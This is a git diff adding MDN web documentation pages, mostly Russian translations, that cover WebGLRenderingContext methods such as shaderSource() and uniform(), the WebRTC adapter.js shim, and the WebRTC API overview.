+ <dd>Sets the source code in a <code>WebGLShader</code>.</dd>
+ <dt>{{domxref("WebGLRenderingContext.useProgram()")}}</dt>
+ <dd>Uses the specified <code>WebGLProgram</code> as part the current rendering state.</dd>
+ <dt>{{domxref("WebGLRenderingContext.validateProgram()")}}</dt>
+ <dd>Validates a <code>WebGLProgram</code>.</dd>
+</dl>
+
+<h2 id="Uniforms_and_attributes">Uniforms and attributes</h2>
+
+<dl>
+ <dt>{{domxref("WebGLRenderingContext.disableVertexAttribArray()")}}</dt>
+ <dd>Disables a vertex attribute array at a given position.</dd>
+ <dt>{{domxref("WebGLRenderingContext.enableVertexAttribArray()")}}</dt>
+ <dd>Enables a vertex attribute array at a given position.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getActiveAttrib()")}}</dt>
+ <dd>Returns information about an active attribute variable.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getActiveUniform()")}}</dt>
+ <dd>Returns information about an active uniform variable.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getAttribLocation()")}}</dt>
+ <dd>Returns the location of an attribute variable.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getUniform()")}}</dt>
+ <dd>Returns the value of a uniform variable at a given location.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getUniformLocation()")}}</dt>
+ <dd>Returns the location of a uniform variable.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getVertexAttrib()")}}</dt>
+ <dd>Returns information about a vertex attribute at a given position.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getVertexAttribOffset()")}}</dt>
+ <dd>Returns the address of a given vertex attribute.</dd>
+ <dt>{{domxref("WebGLRenderingContext.uniform()", "WebGLRenderingContext.uniform[1234][fi][v]()")}}</dt>
+ <dd>Specifies a value for a uniform variable.</dd>
+ <dt>{{domxref("WebGLRenderingContext.uniformMatrix()", "WebGLRenderingContext.uniformMatrix[234]fv()")}}</dt>
+ <dd>Specifies a matrix value for a uniform variable.</dd>
+ <dt>{{domxref("WebGLRenderingContext.vertexAttrib()", "WebGLRenderingContext.vertexAttrib[1234]f[v]()")}}</dt>
+ <dd>Specifies a value for a generic vertex attribute.</dd>
+ <dt>{{domxref("WebGLRenderingContext.vertexAttribPointer()")}}</dt>
+ <dd>Specifies the data formats and locations of vertex attributes in a vertex attributes array.</dd>
+</dl>
+
+<h2 id="Drawing_buffers">Drawing buffers</h2>
+
+<dl>
+ <dt>{{domxref("WebGLRenderingContext.clear()")}}</dt>
+ <dd>Clears specified buffers to preset values.</dd>
+ <dt>{{domxref("WebGLRenderingContext.drawArrays()")}}</dt>
+ <dd>Renders primitives from array data.</dd>
+ <dt>{{domxref("WebGLRenderingContext.drawElements()")}}</dt>
+ <dd>Renders primitives from element array data.</dd>
+ <dt>{{domxref("WebGLRenderingContext.finish()")}}</dt>
+ <dd>Blocks execution until all previously called commands are finished.</dd>
+ <dt>{{domxref("WebGLRenderingContext.flush()")}}</dt>
+ <dd>Empties different buffer commands, causing all commands to be executed as quickly as possible.</dd>
+</dl>
+
+<h2 id="Working_with_extensions">Working with extensions</h2>
+
+<p>These methods manage WebGL extensions:</p>
+
+<dl>
+ <dt>{{domxref("WebGLRenderingContext.getSupportedExtensions()")}}</dt>
+ <dd>Returns an {{jsxref("Array")}} of {{domxref("DOMString")}} elements with all the supported WebGL extensions.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getExtension()")}}</dt>
+ <dd>Returns an extension object.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="WebGL_context_feature_detection">WebGL context feature detection</h3>
+
+<p>{{page("/en-US/Learn/WebGL/By_example/Detect_WebGL", "summary")}}</p>
+
+<p>{{page("/en-US/Learn/WebGL/By_example/Detect_WebGL", "detect-webgl-source")}}</p>
+
+<p>{{EmbedLiveSample("detect-webgl-source", 660,150 ,"" , "Learn/WebGL/By_example/Detect_WebGL")}}</p>
+
+<h3 id="Effect_of_canvas_size_on_rendering_with_WebGL">Effect of canvas size on rendering with WebGL</h3>
+
+<p>{{page("/en-US/Learn/WebGL/By_example/Canvas_size_and_WebGL", "canvas-size-and-webgl-intro")}}</p>
+
+<p>{{page("/en-US/Learn/WebGL/By_example/Canvas_size_and_WebGL", "canvas-size-and-webgl-source")}}</p>
+
+<p>{{EmbedLiveSample("canvas-size-and-webgl-source", 660,180 ,"" , "Learn/WebGL/By_example/Canvas_size_and_WebGL")}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14", "WebGLRenderingContext")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("9")}}</td>
+   <td>20</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>{{CompatIE("11")}}</td>
+   <td>{{CompatOpera("12")}}</td>
+   <td>{{CompatSafari("5.1")}}</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(44)}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>25</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>1.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>12</td>
+   <td>8.0</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(44)}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] This feature is behind a feature preference setting. In about:config, set <code>gfx.offscreencanvas.enabled</code> to <code>true</code>.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("HTMLCanvasElement")}}</li>
+</ul>
diff --git a/files/ru/web/api/webglrenderingcontext/shadersource/index.html b/files/ru/web/api/webglrenderingcontext/shadersource/index.html
new file mode 100644
index 0000000000..86ac976ab8
--- /dev/null
+++ b/files/ru/web/api/webglrenderingcontext/shadersource/index.html
@@ -0,0 +1,70 @@
+---
+title: WebGLRenderingContext.shaderSource()
+slug: Web/API/WebGLRenderingContext/shaderSource
+translation_of: Web/API/WebGLRenderingContext/shaderSource
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p><strong><code>WebGLRenderingContext.shaderSource()</code></strong> метод <a href="/en-US/docs/Web/API/WebGL_API">WebGL API</a> записывает исходный код шейдера в шейдерную программу {{domxref("WebGLShader")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">void <var>gl</var>.shaderSource(<var>shader</var>, <var>source</var>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>shader</dt>
+ <dd>A {{domxref("WebGLShader")}} объект в который записывается исходный код.</dd>
+ <dt>source</dt>
+ <dd>A {{domxref("DOMString")}} исходный код шейдера на GLSL который будет записан.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>None.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">var shader = gl.createShader(gl.VERTEX_SHADER);
+gl.shaderSource(shader, originalSource);
+
+var source = gl.getShaderSource(shader);</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.9", "shaderSource")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glShaderSource.xml", "glShaderSource")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>Man page of the (similar) OpenGL API.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с https://github.com/mdn/browser-compat-data и отправить нам запрос на слияние.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.shaderSource")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.createShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.deleteShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getShaderSource()")}}</li>
+</ul>
diff --git a/files/ru/web/api/webglrenderingcontext/uniform/index.html b/files/ru/web/api/webglrenderingcontext/uniform/index.html
new file mode 100644
index 0000000000..010da6fc8e
--- /dev/null
+++ b/files/ru/web/api/webglrenderingcontext/uniform/index.html
@@ -0,0 +1,99 @@
+---
+title: 'WebGLRenderingContext.uniform[1234][fi][v]()'
+slug: Web/API/WebGLRenderingContext/uniform
+translation_of: Web/API/WebGLRenderingContext/uniform
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p><strong><code>WebGLRenderingContext.uniform[1234][fi][v]()</code></strong> метод <a href="/en-US/docs/Web/API/WebGL_API">WebGL API</a> устонавливает значение для постоянных переменных Uniform.</p>
+
+<div class="note">
+<p>Иногие из описаных в этом разделе функцию имеют расширенные интерфейсы WebGL 2, которые можно найти {{domxref("WebGL2RenderingContext.uniform","WebGL2RenderingContext.uniform[1234][uif][v]()")}}.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre>gl.uniform1f (floatUniformLoc, v); // для float
+gl.uniform1fv(floatUniformLoc, [v]); // для float или массива float
+gl.uniform2f (vec2UniformLoc, v0, v1); // для vec2
+gl.uniform2fv(vec2UniformLoc, [v0, v1]); // для vec2 или массива vec2
+gl.uniform3f (vec3UniformLoc, v0, v1, v2); // для vec3
+gl.uniform3fv(vec3UniformLoc, [v0, v1, v2]); // для vec3 или массива vec3
+gl.uniform4f (vec4UniformLoc, v0, v1, v2, v4); // для vec4
+gl.uniform4fv(vec4UniformLoc, [v0, v1, v2, v4]); // для vec4 или массива vec4
+
+gl.uniform1i (intUniformLoc, v); // для int
+gl.uniform1iv(intUniformLoc, [v]); // для int или массива int
+gl.uniform2i (ivec2UniformLoc, v0, v1); // для ivec2
+gl.uniform2iv(ivec2UniformLoc, [v0, v1]); // для ivec2 или массива ivec2
+gl.uniform3i (ivec3UniformLoc, v0, v1, v2); // для ivec3
+gl.uniform3iv(ivec3UniformLoc, [v0, v1, v2]); // для ivec3 или массива ivec3
+gl.uniform4i (ivec4UniformLoc, v0, v1, v2, v4); // для ivec4
+gl.uniform4iv(ivec4UniformLoc, [v0, v1, v2, v4]); // для ivec4 или массива ivec4
+
+
+gl.uniform1i (sampler2DUniformLoc, v); // для sampler2D (текстуры)
+gl.uniform1iv(sampler2DUniformLoc, [v]); // для sampler2D или массива sampler2D
+
+
+gl.uniform1i (samplerCubeUniformLoc, v); // для samplerCube (текстуры)
+gl.uniform1iv(samplerCubeUniformLoc, [v]); // для samplerCube или массива samplerCube
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>location</dt>
+ <dd>{{domxref("WebGLUniformLocation")}} объект содержащий uniform атрибут для его изменения.</dd>
+ <dt><code>value, v0, v1, v2, v3</code></dt>
+ <dd>Новое значение для uniform переменной. Допустимые типы:
+ <ul>
+  <li>Тип float {{jsxref("Number")}} для этого типа (методы с "f").</li>
+  <li>Последовательность чисел с плавающей точкой (пример {{jsxref("Float32Array")}} или {{jsxref("Array")}} чисел) fдля векторных методов с плавающей точкой (методы с "fv").</li>
+  <li>Тип  {{jsxref("Number")}} для этого типа (методы с "i").</li>
+  <li>{{jsxref("Int32Array")}} вектор чисел {{jsxref("Number")}} (методы с "iv").</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Возвращаемое_значение"><span style="background-color: #333333; letter-spacing: -0.00278rem;">Возвращаемое значение </span></h3>
+
+<p><span style="background-color: #ffffff; color: #333333; font-family: Arial,x-locale-body,sans-serif; font-size: 1rem; letter-spacing: -0.00278rem;">None.</span></p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">GL.uniform1f(GL.getUniformLocation(PROGRAM,'u_time'), timeStamp/1000.0)</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.10", "uniform")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glUniform.xml", "glUniform")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>Main page of the OpenGL API.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с https://github.com/mdn/browser-compat-data и отправить нам запрос на слияние.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.uniform1f")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.uniformMatrix()")}}</li>
+</ul>
diff --git a/files/ru/web/api/webrtc_api/adapter.js/index.html b/files/ru/web/api/webrtc_api/adapter.js/index.html
new file mode 100644
index 0000000000..97e09d25e2
--- /dev/null
+++ b/files/ru/web/api/webrtc_api/adapter.js/index.html
@@ -0,0 +1,42 @@
+---
+title: Увеличиваем совместимость с WebRTC adapter.js
+slug: Web/API/WebRTC_API/adapter.js
+tags:
+  - adapter.js
+translation_of: Web/API/WebRTC_API/adapter.js
+---
+<p>{{WebRTCSidebar}}</p>
+
+<p>Несмотря на то, что WebRTC <a href="http://www.w3.org/TR/webrtc/">спецификация</a> относительно стабильна, не все еще браузеры полностью реализуют её функциональность. Некоторые реализации в браузерах все еще содержат префексы производителей в некоторых, или даже всех WebRTC интерфейсах, и разработчик может самостоятельно, в ручную, учесть вопросы несовместимости в своем коде. Но есть более простой выход. Организация <span class="seoSummary">WebRTC</span> <span class="seoSummary"><a href="https://github.com/webrtc/adapter/">предлагает библиотеку adapter.js</a> для обработки вопросов несовместимостей в различных браузерных реализациях WebRTC. Эта библиотека является JavaScript клином, позволяющим писать код в соответствии со спецификацией, чтобы он работал во всех браузерах с различным уровнем поддержки WebRTC. С ней нет необходимости условно использовать префиксные интерфейсы или реализовывать обходные пути</span></p>
+
+<div class="note">
+<p><strong>Примечание :</strong> Поскольку функциональность и названия API-терминов в WebRTC и поддерживаемых браузерах постоянно изменяются, обычно рекомендуется использовать этот адаптер.</p>
+</div>
+
+<p>Адаптер предоставляется по лицензии <a href="https://github.com/webrtc/adapter/blob/master/LICENSE.md">BSD-style license</a>.</p>
+
+<h2 id="Как_работает_adapter.js">Как работает adapter.js</h2>
+
+<p>Для каждой версии  браузера, поддерживающего WebRTC, <code>adapter.js</code> реализует необходимые полизаполнители, устанавливает имена API без префиксов и применяет любые другие изменения, необходимые для того, чтобы браузер выполнял код, в сообтветствии со спецификацией WebRTC.</p>
+
+<p>Например, в версиях Firefox старше 38 адаптер добавляет свойство {{domxref ("RTCPeerConnection.urls")}}; Firefox изначально не поддерживает это свойство до Firefox 38, а в Chrome адаптер добавляет поддержку API {{jsxref ("Promise")}}, если он отсутствует. Это всего лишь пара примеров. Вот в кратце, какие корректировки производит библиотека.</p>
+
+<p>В настоящее время адаптер WebRTC поддерживает Mozilla Firefox, Google Chrome, Apple Safari и Microsoft Edge.</p>
+
+<h2 id="Использование_adapter.js">Использование adapter.js</h2>
+
+<p>Для того чтобы использовать <code>adapter.js</code>, вам нужно включить <code>adapter.js</code> в любую страницу, которая использует API WebRTC:</p>
+
+<ol>
+ <li>Скопируйте  <a href="https://github.com/webrtc/adapter/tree/master/release">последнюю версию adapter.js</a> с GitHub.</li>
+ <li>Поместите копию в структурную директорию вашего сайта (к примеру, в корневую директорию скриптов).</li>
+ <li>Поместите элемент скрипта со ссылкой на библиотеку <code>adapter.js</code> в ваш проект: <code>&lt;script src="adapter.js"&gt;&lt;/script&gt;</code></li>
+ <li>При кодировании, используйте интерфейсы WebRTC как указано в спецификации (без всяких префиксов производителей) , будучи уверенным, что он будет работать во всех браузерах .</li>
+ <li>Помните, что даже присутствие хорошего клина, не означает отмену тестирования вашего кода на различных браузерах (а идеально, и в различных версиях каждого браузера).</li>
+</ol>
+
+<h2 id="Смотри_так_же">Смотри так же</h2>
+
+<ul>
+ <li><a href="https://github.com/webrtc/adapter">Проект  WebRTC adapter.js на GitHub</a></li>
+</ul>
diff --git a/files/ru/web/api/webrtc_api/index.html b/files/ru/web/api/webrtc_api/index.html
new file mode 100644
index 0000000000..78971cd1df
--- /dev/null
+++ b/files/ru/web/api/webrtc_api/index.html
@@ -0,0 +1,195 @@
+---
+title: WebRTC API
+slug: Web/API/WebRTC_API
+translation_of: Web/API/WebRTC_API
+---
+<p>{{WebRTCSidebar}}</p>
+
+<p><span class="seoSummary"><strong>WebRTC</strong> (Web Real-Time Communications) - это технология, которая позволяет Web-приложениям и сайтам захватывать и выборочно передавать аудио и/или видео медиа-потоки, а также обмениваться произвольными данными между браузерами, без обязательного использования посредников. Набор стандартов, которые включает в себя технология WebRTC, позволяет обмениваться данными и проводить пиринговые телеконференции, без необходимости пользователю устанавливать плагины или любое другое стороннее программное обеспечение.</span></p>
+
+<p>WebRTC состоит из нескольких взаимосвязанных программных интерфейсов (API) и протоколов, которые работают вместе. Документация, которую вы здесь найдете, поможет вам понять основы WebRTC, как настроить и использовать соединение для передачи данных и медиа-потока, и многое другое.</p>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+<p>Поскольку реализация WebRTC находится в процессе становления, и каждый браузер имеет <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Media/Formats/WebRTC_codecs">различный уровень поддержки кодеков</a> и WebRTC функций, настоятельно рекомендуется использовать полифил-библиотеку <a href="https://github.com/webrtcHacks/adapter">Adapter.js</a> от Google до начала работы над вашим кодом.</p>
+
+<p>Adapter.js использует клинья и полифилы для гладкой стыковки различий в реализациях WebRTC среди контекстов, его поддерживающих. Adapter.js также обрабатывает префиксы производителей и иные различия именования свойств, облегчая процесс разработки на WebRTC с наиболее совместимым результатом. Библиотека также доступна как <a href="https://www.npmjs.com/package/webrtc-adapter">NPM пакет</a>.</p>
+
+<p>Для дальнейшего изучения библиотеки Adapter.js смотрите <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/WebRTC_API/adapter.js">Улучшаем совместимость при использовании WebRTC adapter.js</a>.</p>
+
+<h2 id="Понятия_и_использование_WebRTC">Понятия и использование WebRTC </h2>
+
+<p>WebRTC является многоцелевым и вместе с <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Media_Streams_API">Media Capture and Streams API</a>, предоставляют мощные мультимедийные возможности для Web, включая поддержку аудио и видео конференций, обмен файлами, захват экрана, управление идентификацией и взаимодействие с  устаревшими телефонными системами, включая поддержку передачи сигналов тонового набора {{Glossary("DTMF")}}. Соединения между узлами могут создаваться без использования специальных драйверов или плагинов, и часто без промежуточных сервисов.</p>
+
+<p>Соединение между двумя узлами представлено как объект интерфейса  {{DOMxRef("RTCPeerConnection")}}. Как только соединение установлено и открыто, используя объект <code>RTCPeerConnection</code>, медиапотоки ({{DOMxRef("MediaStream")}}s) и/или каналы данных ({{DOMxRef("RTCDataChannel")}}s) могут быть добавлены в соединение.</p>
+
+<p>Медиа потоки могут состоять из любого количества треков (дорожек) медиаинформации. Эти треки, представлены объектами интерфейса  {{DOMxRef("MediaStreamTrack")}} , и могут содержать один или несколько типов медиаданных, включая аудио, видео, текст (такие как субтитры или название глав). Большинство потоков состоят, как минимум, только из одного аудио трека (одной аудио дорожки), или видео дорожки, и могут быть отправлены и получены, как потоки (медиаданные в настоящим времени) или сохранены в файл.</p>
+
+<p>Так же, можно использовать соединение между двумя узлами  для обмена произвольными данными, используя объект интерфейса {{DOMxRef("RTCDataChannel")}}, что может быть использовано для передачи служебной информации, биржевых данных , пакетов игровых статусов, передача файлов или закрытых каналов передачи данных.</p>
+
+<p><em><strong>more details and links to relevant guides and tutorials needed</strong></em></p>
+
+<h2 id="WebRTC_интерфейсы">WebRTC интерфейсы</h2>
+
+<p>По причине того, что WebRTC предоставляет интерфейсы, работающие совместно для выполнения различных задач, мы разделили их на категории. Смотрите алфавитный указатель боковой панели для быстрой навигации.</p>
+
+<h3 id="Настройка_соединения_и_управление">Настройка соединения и управление</h3>
+
+<p>Эти интерфейсы используются для настройки, открытия и управлением  WebRTC соединениями. Они представляют одноуровневые медиа соединения, каналы данных, и интерфейсы, использующиеся при обмене информацией о возможностях каждого узла, для выбора наилучшей конфигурации при установки двустороннего мультимедийного соединения.</p>
+
+<dl>
+ <dt>{{domxref("RTCPeerConnection")}}</dt>
+ <dd>Представляет  WebRTC соединение между локальным компьютером и удаленным узлом. Используется для обработки успешной передачи данных между двумя узлами.</dd>
+ <dt>{{domxref("RTCSessionDescription")}}</dt>
+ <dd>Представляет параметры сессии. Каждый <code>RTCSessionDescription </code>содержит описания <a href="/en-US/docs/Web/API/RTCSessionDescription/type">типа</a>, показывающего какую часть (предложение/ответ) процесса переговоров он описывает, и <a href="/en-US/docs/Glossary/SDP">SDP</a>-дескриптор сессии<code>.</code></dd>
+ <dt>{{domxref("RTCIceCandidate")}}</dt>
+ <dd>Представляет собой кандидата сервера установки интернет соединения (ICE)  для установленовки соединения {{domxref("RTCPeerConnection")}}.</dd>
+ <dt>{{domxref("RTCIceTransport")}}</dt>
+ <dd>Представляет информацию о средстве подключения к Интернету (ICE).</dd>
+ <dt>{{domxref("RTCPeerConnectionIceEvent")}}</dt>
+ <dd>Представляет события, которые происходят в отношении кандидатов ICE, обычно {{domxref ("RTCPeerConnection")}}. Один тип передается данному объекту события: {{event ("icecandidate")}}.</dd>
+ <dt>{{domxref("RTCRtpSender")}}</dt>
+ <dd>Управляет кродированием и передачей данных через объект типа  {{domxref("MediaStreamTrack")}} для объекта типа {{domxref("RTCPeerConnection")}}.</dd>
+ <dt>{{domxref("RTCRtpReceiver")}}</dt>
+ <dd>Управляет получением и декодированием данных через объект типа {{domxref("MediaStreamTrack")}} для объекта типа {{domxref("RTCPeerConnection")}}.</dd>
+ <dt>{{domxref("RTCTrackEvent")}}</dt>
+ <dd>Указывает на то, что новый входящий объект типа  {{domxref("MediaStreamTrack")}} был создан и объект типа {{domxref("RTCRtpReceiver")}} был добавлен в объект  {{domxref("RTCPeerConnection")}}.</dd>
+ <dt>{{domxref("RTCCertificate")}}</dt>
+ <dd>Представляет сертификат, который использует объект {{domxref("RTCPeerConnection")}}.</dd>
+ <dt>{{domxref("RTCDataChannel")}}</dt>
+ <dd>Представляет двунапрвленный канал данных между двумя узлами соединения.</dd>
+ <dt>{{domxref("RTCDataChannelEvent")}}</dt>
+ <dd>Представляет события, которые возникают при присоединении объекта типа  {{domxref("RTCDataChannel")}} к объекту типа {{domxref("RTCPeerConnection")}}. Один тип передается этому событию {{event("datachannel")}}.</dd>
+ <dt>{{domxref("RTCDTMFSender")}}</dt>
+ <dd>Управляет кодированием и передачей  двутональной мультичастотной  (DTMF) сигнализацией для объекта типа {{domxref("RTCPeerConnection")}}.</dd>
+ <dt>{{domxref("RTCDTMFToneChangeEvent")}}</dt>
+ <dd>Указывает на входящее событие изменение тона двутоновой мультичастотной сигнализации  (DTMF). Это событие не всплывает (если не указано иначе) и не является отменяемым (если не указано иначе).</dd>
+ <dt>{{domxref("RTCStatsReport")}}</dt>
+ <dd>Ассинхронно сообщает статус для переданного объекта типа  {{domxref("MediaStreamTrack")}} .</dd>
+ <dt>{{domxref("RTCIdentityProviderRegistrar")}}</dt>
+ <dd>Регистрирует провайдер идентификации (idP).</dd>
+ <dt>{{domxref("RTCIdentityProvider")}}</dt>
+ <dd>Активирует возможность браузеру запросить создание или проверку обяъвления идентификации.</dd>
+ <dt>{{domxref("RTCIdentityAssertion")}}</dt>
+ <dd>Представляет идентификатор удаленного узла текущего соединения. Если узел еще не установлен и подтвержден, ссылка на интерфейс вернет <code>null</code>. После установки не изменяется.</dd>
+ <dt>{{domxref("RTCIdentityEvent")}}</dt>
+ <dd>Представляет объект события объявление идентификатора провайдером идентификации  (idP). Событие объекта типа  {{domxref("RTCPeerConnection")}}. Один тип передается этому событию {{event("identityresult")}}.</dd>
+ <dt>{{domxref("RTCIdentityErrorEvent")}}</dt>
+ <dd>Представляет объект события ошибки, связанной с провайдером идентификации (idP). Событие объекта типа  {{domxref("RTCPeerConnection")}}. Два типа ошибки передаются этому событию : {{event("idpassertionerror")}} и {{event("idpvalidationerror")}}.</dd>
+</dl>
+
+<h2 id="Руководства">Руководства</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/Architecture">Обзор архитектуры WebRTC</a></dt>
+ <dd>Под API, который применяют разработчики, чтобы создавать и использовать WebRTC, расположен набор сетевых протоколов и стандартов соединения. Этот обзор - витрина этих стандартов.</dd>
+ <dt><a href="https://developer.mozilla.org/ru/docs/Web/API/WebRTC_API/Session_lifetime">Жизнь WebRTC-сессии</a></dt>
+ <dd>WebRTC позволяет вам организовать соединение в режиме узел-узел для передачи произвольных данных, аудио-, видео-потоков или любую их комбинацию в браузере. В этой статье мы взглянем на жизнь WebRTC-сессии, начиная с установки соединения и пройдем весь путь до его завершения, когда оно больше не нужно.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/Overview">Обзор WebRTC API</a></dt>
+ <dd>WebRTC состоит из нескольких взаимосвязанных программных интерфейсов (API) и протоколов, которые работают вместе, чтобы обеспечить поддержку обмена данными и медиа-потоками между двумя и более узлами. В этой статье представлен краткий обзор каждого из этих API и какую цель он преследует.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/WebRTC_basics">Основы WebRTC</a></dt>
+ <dd>Эта статья проведет вас через создание кросс-браузерного RTC-приложения. К концу этой статьи вы должны иметь работающий дата- и медиа-канал, работающий в режиме точка-точка.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/Protocols">Протоколы WebRTC</a></dt>
+ <dd>В этой статье представлены протоколы, в дополнение к которым создан API WebRTC.</dd>
+</dl>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API/Using_data_channels">Использование каналов данных в WebRTC</a></dt>
+ <dd>Это руководство описывает как вы можете использовать соединение узел-узел и связанный {{domxref("RTCDataChannel")}} для обмена произвольными данными между двумя узлами.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/Connectivity">Взаимосвязи WebRTC</a></dt>
+ <dd>В этой статье описано то, как протоколы, связанные с WebRTC, взаимодействуют друг с другом для того, чтобы создать соединение и передавать данные и/или медиа-потоки между узлами.</dd>
+</dl>
+
+<h2 id="Учебные_материалы">Учебные материалы</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/adapter.js">Увеличение совместимости, используя WebRTC adapter.js</a></dt>
+ <dd>Организация WebRTC  <a href="https://github.com/webrtc/adapter/">предлагает на GitHub библиотеку adapter.js</a> для решения вопросов совместимости WebRTC реализаций в различных браузерах. Эта библиотека является JavaScript клином, который позволяет писать код, согласно спецификации, так, что бы он просто взял, и заработал во всех браузерах с поддержкой  WebRTC, не смотря на проблемы совместимости браузеров.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/Taking_still_photos">Захват кадров с WebRTC</a></dt>
+ <dd>Статья описывает как использовать WebRTC для получения доступа к камере на компьютере или мобильном устройстве с поддержкой  WebRTC, и захват кадров с его помощью.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/Simple_RTCDataChannel_sample">Простой пример канала данных RTCDataChannel</a></dt>
